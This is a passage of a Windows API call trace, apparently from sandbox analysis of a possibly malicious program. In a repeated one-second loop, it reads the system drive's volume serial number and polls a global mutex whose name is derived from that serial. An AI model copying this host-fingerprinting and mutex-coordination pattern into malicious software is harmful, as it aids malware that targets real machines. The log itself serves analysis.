returned 0xc00000 [0094.974] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc128b0 [0094.974] GetProcessHeap () returned 0xc00000 [0094.974] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc128b0, Size=0x72) returned 0x37c65f0 [0094.974] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x2c8 [0094.975] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0094.975] CloseHandle (hObject=0x2c8) returned 1 [0094.975] GetProcessHeap () returned 0xc00000 [0094.975] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12700 | out: hHeap=0xc00000) returned 1 [0094.975] GetProcessHeap () returned 0xc00000 [0094.975] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c65f0 | out: hHeap=0xc00000) returned 1 [0094.975] Sleep (dwMilliseconds=0x3e8) [0096.352] GetProcessHeap () returned 0xc00000 [0096.352] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24740 [0096.352] GetProcessHeap () returned 0xc00000 [0096.352] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc249e8 [0096.352] GetProcessHeap () returned 0xc00000 [0096.352] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc247e0 [0096.352] GetProcessHeap () returned 0xc00000 [0096.352] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0096.352] GetProcessHeap () returned 0xc00000 [0096.352] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0096.352] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc249e8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0096.352] GetProcessHeap () returned 0xc00000 [0096.352] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc247e0 | out: hHeap=0xc00000) returned 1 [0096.352] GetProcessHeap () returned 0xc00000 [0096.352] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24740 | out: hHeap=0xc00000) returned 1 [0096.352] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0096.353] GetProcessHeap () returned 0xc00000 [0096.353] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc249e8 | out: hHeap=0xc00000) returned 1 [0096.353] GetProcessHeap () returned 0xc00000 [0096.353] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc12700 [0096.353] GetProcessHeap () returned 0xc00000 [0096.353] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc128b0 [0096.353] GetProcessHeap () returned 0xc00000 [0096.353] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc128b0, Size=0x72) returned 0x37c6570 [0096.353] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x320 [0096.353] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x0) returned 0x102 [0096.353] CloseHandle (hObject=0x320) returned 1 [0096.353] GetProcessHeap () returned 0xc00000 [0096.353] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12700 | out: hHeap=0xc00000) returned 1 [0096.353] GetProcessHeap () returned 0xc00000 [0096.354] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c6570 | out: hHeap=0xc00000) returned 1 [0096.354] Sleep (dwMilliseconds=0x3e8) [0097.616] GetProcessHeap () returned 0xc00000 [0097.616] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc247e0 [0097.616] GetProcessHeap () returned 0xc00000 [0097.616] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24b78 [0097.616] GetProcessHeap () returned 0xc00000 [0097.616] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24948 [0097.616] GetProcessHeap () returned 0xc00000 [0097.617] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0097.617] GetProcessHeap () returned 0xc00000 [0097.617] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0097.617] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24b78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0097.617] GetProcessHeap () returned 0xc00000 [0097.617] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24948 | out: hHeap=0xc00000) returned 1 [0097.617] GetProcessHeap () returned 0xc00000 [0097.617] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc247e0 | out: hHeap=0xc00000) returned 1 [0097.617] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0097.617] GetProcessHeap () returned 0xc00000 [0097.617] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24b78 | out: hHeap=0xc00000) returned 1 [0097.617] GetProcessHeap () returned 0xc00000 [0097.617] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc12700 [0097.617] GetProcessHeap () returned 0xc00000 [0097.617] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc128b0 [0097.617] GetProcessHeap () returned 0xc00000 [0097.617] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc128b0, Size=0x72) returned 0x37c6170 [0097.617] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x304 [0097.618] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x0) returned 0x102 [0097.618] CloseHandle (hObject=0x304) returned 1 [0097.618] GetProcessHeap () returned 0xc00000 [0097.618] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12700 | out: hHeap=0xc00000) returned 1 [0097.618] GetProcessHeap () returned 0xc00000 [0097.618] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c6170 | out: hHeap=0xc00000) returned 1 [0097.618] Sleep (dwMilliseconds=0x3e8) [0100.111] GetProcessHeap () returned 0xc00000 [0100.111] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24ab0 [0100.111] GetProcessHeap () returned 0xc00000 [0100.111] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc249e8 [0100.111] GetProcessHeap () returned 0xc00000 [0100.111] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24740 [0100.111] GetProcessHeap () returned 0xc00000 [0100.111] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0100.111] GetProcessHeap () returned 0xc00000 [0100.111] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0100.112] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc249e8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0100.112] GetProcessHeap () returned 0xc00000 [0100.112] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24740 | out: hHeap=0xc00000) returned 1 [0100.112] GetProcessHeap () returned 0xc00000 [0100.112] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24ab0 | out: hHeap=0xc00000) returned 1 [0100.112] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0100.112] GetProcessHeap () returned 0xc00000 [0100.112] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc249e8 | out: hHeap=0xc00000) returned 1 [0100.112] GetProcessHeap () returned 0xc00000 [0100.112] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc128b0 [0100.113] GetProcessHeap () returned 0xc00000 [0100.113] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc128f8 [0100.113] GetProcessHeap () returned 0xc00000 [0100.113] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc128f8, Size=0x72) returned 0x37c61f0 [0100.113] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x328 [0100.113] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x0) returned 0x102 [0100.113] CloseHandle (hObject=0x328) returned 1 [0100.113] GetProcessHeap () returned 0xc00000 [0100.113] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc128b0 | out: hHeap=0xc00000) returned 1 [0100.113] GetProcessHeap () returned 0xc00000 [0100.113] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c61f0 | out: hHeap=0xc00000) returned 1 [0100.113] Sleep (dwMilliseconds=0x3e8) [0101.262] GetProcessHeap () returned 0xc00000 [0101.262] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc249e8 [0101.263] GetProcessHeap () returned 0xc00000 [0101.263] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24a10 [0101.263] GetProcessHeap () returned 0xc00000 [0101.263] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24a60 [0101.263] GetProcessHeap () returned 0xc00000 [0101.263] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0101.263] GetProcessHeap () returned 0xc00000 [0101.263] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0101.263] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24a10, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0101.263] GetProcessHeap () returned 0xc00000 [0101.263] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24a60 | out: hHeap=0xc00000) returned 1 [0101.263] GetProcessHeap () returned 0xc00000 [0101.263] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc249e8 | out: hHeap=0xc00000) returned 1 [0101.263] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0101.263] GetProcessHeap () returned 0xc00000 [0101.264] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24a10 | out: hHeap=0xc00000) returned 1 [0101.264] GetProcessHeap () returned 0xc00000 [0101.264] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc12700 [0101.264] GetProcessHeap () returned 0xc00000 [0101.264] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc128b0 [0101.264] GetProcessHeap () returned 0xc00000 [0101.264] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc128b0, Size=0x72) returned 0x37c61f0 [0101.264] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x324 [0101.264] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102 [0101.264] CloseHandle (hObject=0x324) returned 1 [0101.264] GetProcessHeap () returned 0xc00000 [0101.264] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12700 | out: hHeap=0xc00000) returned 1 [0101.264] GetProcessHeap () returned 0xc00000 [0101.264] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c61f0 | out: hHeap=0xc00000) returned 1 [0101.264] Sleep (dwMilliseconds=0x3e8) [0102.794] GetProcessHeap () returned 0xc00000 [0102.794] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24a10 [0102.794] GetProcessHeap () returned 0xc00000 [0102.794] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24740 [0102.794] GetProcessHeap () returned 0xc00000 [0102.794] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24ab0 [0102.794] GetProcessHeap () returned 0xc00000 [0102.795] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0102.795] GetProcessHeap () returned 0xc00000 [0102.795] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0102.795] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24740, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0102.795] GetProcessHeap () returned 0xc00000 [0102.795] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24ab0 | out: hHeap=0xc00000) returned 1 [0102.795] GetProcessHeap () returned 0xc00000 [0102.795] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24a10 | out: hHeap=0xc00000) returned 1 [0102.795] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0102.795] GetProcessHeap () returned 0xc00000 [0102.795] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24740 | out: hHeap=0xc00000) returned 1 [0102.795] GetProcessHeap () returned 0xc00000 [0102.795] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc12700 [0102.795] GetProcessHeap () returned 0xc00000 [0102.796] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc12238 [0102.796] GetProcessHeap () returned 0xc00000 [0102.796] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc12238, Size=0x72) returned 0x37c5a70 [0102.796] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x324 [0102.796] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102 [0102.796] CloseHandle (hObject=0x324) returned 1 [0102.796] GetProcessHeap () returned 0xc00000 [0102.796] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12700 | out: hHeap=0xc00000) returned 1 [0102.796] GetProcessHeap () returned 0xc00000 [0102.796] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c5a70 | out: hHeap=0xc00000) returned 1 [0102.796] Sleep (dwMilliseconds=0x3e8) [0104.880] GetProcessHeap () returned 0xc00000 [0104.880] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24858 [0104.880] GetProcessHeap () returned 0xc00000 [0104.880] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24948 [0104.880] GetProcessHeap () returned 0xc00000 [0104.880] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24b28 [0104.880] GetProcessHeap () returned 0xc00000 [0104.880] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0104.880] GetProcessHeap () returned 0xc00000 [0104.880] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0104.880] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24948, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0104.881] GetProcessHeap () returned 0xc00000 [0104.881] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24b28 | out: hHeap=0xc00000) returned 1 [0104.881] GetProcessHeap () returned 0xc00000 [0104.881] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24858 | out: hHeap=0xc00000) returned 1 [0104.881] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0104.881] GetProcessHeap () returned 0xc00000 [0104.881] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24948 | out: hHeap=0xc00000) returned 1 [0104.881] GetProcessHeap () returned 0xc00000 [0104.881] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc12310 [0104.881] GetProcessHeap () returned 0xc00000 [0104.881] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc128b0 [0104.881] GetProcessHeap () returned 0xc00000 [0104.881] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc128b0, Size=0x72) returned 0x37c5df0 [0104.882] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x304 [0104.882] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x0) returned 0x102 [0104.882] CloseHandle (hObject=0x304) returned 1 [0104.882] GetProcessHeap () returned 0xc00000 [0104.882] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12310 | out: hHeap=0xc00000) returned 1 [0104.882] GetProcessHeap () returned 0xc00000 [0104.882] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c5df0 | out: hHeap=0xc00000) returned 1 [0104.882] Sleep (dwMilliseconds=0x3e8) [0105.971] GetProcessHeap () returned 0xc00000 [0105.971] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24948 [0105.971] GetProcessHeap () returned 0xc00000 [0105.971] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc247e0 [0105.971] GetProcessHeap () returned 0xc00000 [0105.971] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24b50 [0105.971] GetProcessHeap () returned 0xc00000 [0105.971] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0105.971] GetProcessHeap () returned 0xc00000 [0105.971] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0105.971] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc247e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0105.971] GetProcessHeap () returned 0xc00000 [0105.971] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24b50 | out: hHeap=0xc00000) returned 1 [0105.971] GetProcessHeap () returned 0xc00000 [0105.971] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24948 | out: hHeap=0xc00000) returned 1 [0105.971] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0105.971] GetProcessHeap () returned 0xc00000 [0105.971] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc247e0 | out: hHeap=0xc00000) returned 1 [0105.972] GetProcessHeap () returned 0xc00000 [0105.972] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc12700 [0105.972] GetProcessHeap () returned 0xc00000 [0105.972] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc128b0 [0105.972] GetProcessHeap () returned 0xc00000 [0105.972] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc128b0, Size=0x72) returned 0x37c6270 [0105.972] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x324 [0105.972] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102 [0105.972] CloseHandle (hObject=0x324) returned 1 [0105.972] GetProcessHeap () returned 0xc00000 [0105.972] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12700 | out: hHeap=0xc00000) returned 1 [0105.972] GetProcessHeap () returned 0xc00000 [0105.972] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c6270 | out: hHeap=0xc00000) returned 1 [0105.972] Sleep (dwMilliseconds=0x3e8) [0109.545] GetProcessHeap () returned 0xc00000 [0109.545] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24a38 [0109.545] GetProcessHeap () returned 0xc00000 [0109.545] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24740 [0109.545] GetProcessHeap () returned 0xc00000 [0109.545] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc249e8 [0109.545] GetProcessHeap () returned 0xc00000 [0109.545] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc133a0 [0109.545] GetProcessHeap () returned 0xc00000 [0109.545] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc133a0 | out: hHeap=0xc00000) returned 1 [0109.545] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24740, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0109.545] GetProcessHeap () returned 0xc00000 [0109.545] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc249e8 | out: hHeap=0xc00000) returned 1 [0109.545] GetProcessHeap () returned 0xc00000 [0109.545] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24a38 | out: hHeap=0xc00000) returned 1 [0109.545] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0109.546] GetProcessHeap () returned 0xc00000 [0109.546] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24740 | out: hHeap=0xc00000) returned 1 [0109.546] GetProcessHeap () returned 0xc00000 [0109.546] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc128b0 [0109.546] GetProcessHeap () returned 0xc00000 [0109.546] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc12700 [0109.546] GetProcessHeap () returned 0xc00000 [0109.546] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc12700, Size=0x72) returned 0x37c6570 [0109.546] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x334 [0109.546] WaitForSingleObject (hHandle=0x334, dwMilliseconds=0x0) returned 0x102 [0109.546] CloseHandle (hObject=0x334) returned 1 [0109.546] GetProcessHeap () returned 0xc00000 [0109.546] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc128b0 | out: hHeap=0xc00000) returned 1 [0109.546] GetProcessHeap () returned 0xc00000 [0109.546] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c6570 | out: hHeap=0xc00000) returned 1 [0109.546] Sleep (dwMilliseconds=0x3e8) [0110.806] GetProcessHeap () returned 0xc00000 [0110.806] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24858 [0110.806] GetProcessHeap () returned 0xc00000 [0110.806] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc247e0 [0110.806] GetProcessHeap () returned 0xc00000 [0110.806] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc24880 [0110.806] GetProcessHeap () returned 0xc00000 [0110.806] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc139f0 [0110.806] GetProcessHeap () returned 0xc00000 [0110.806] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0110.806] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc247e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0110.806] GetProcessHeap () returned 0xc00000 [0110.806] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24880 | out: hHeap=0xc00000) returned 1 [0110.806] GetProcessHeap () returned 0xc00000 [0110.806] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24858 | out: hHeap=0xc00000) returned 1 [0110.806] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29df92c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29df92c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0110.807] GetProcessHeap () returned 0xc00000 [0110.807] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc247e0 | out: hHeap=0xc00000) returned 1 [0110.807] GetProcessHeap () returned 0xc00000 [0110.807] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x40) returned 0xc122c8 [0110.807] GetProcessHeap () returned 0xc00000 [0110.807] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x3a) returned 0xc12670 [0110.807] GetProcessHeap () returned 0xc00000 [0110.807] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc12670, Size=0x72) returned 0x37c64f0 [0110.807] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x224 [0110.807] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0110.807] CloseHandle (hObject=0x224) returned 1 [0110.807] GetProcessHeap () returned 0xc00000 [0110.807] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc122c8 | out: hHeap=0xc00000) returned 1 [0110.807] GetProcessHeap () returned 0xc00000 [0110.807] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c64f0 | out: hHeap=0xc00000) returned 1 [0110.808] Sleep (dwMilliseconds=0x3e8) [0111.888] GetProcessHeap () returned 0xc00000 [0111.888] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc248a8 [0111.888] GetProcessHeap () returned 0xc00000 [0111.888] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24ab0 [0111.888] GetProcessHeap () returned 0xc00000 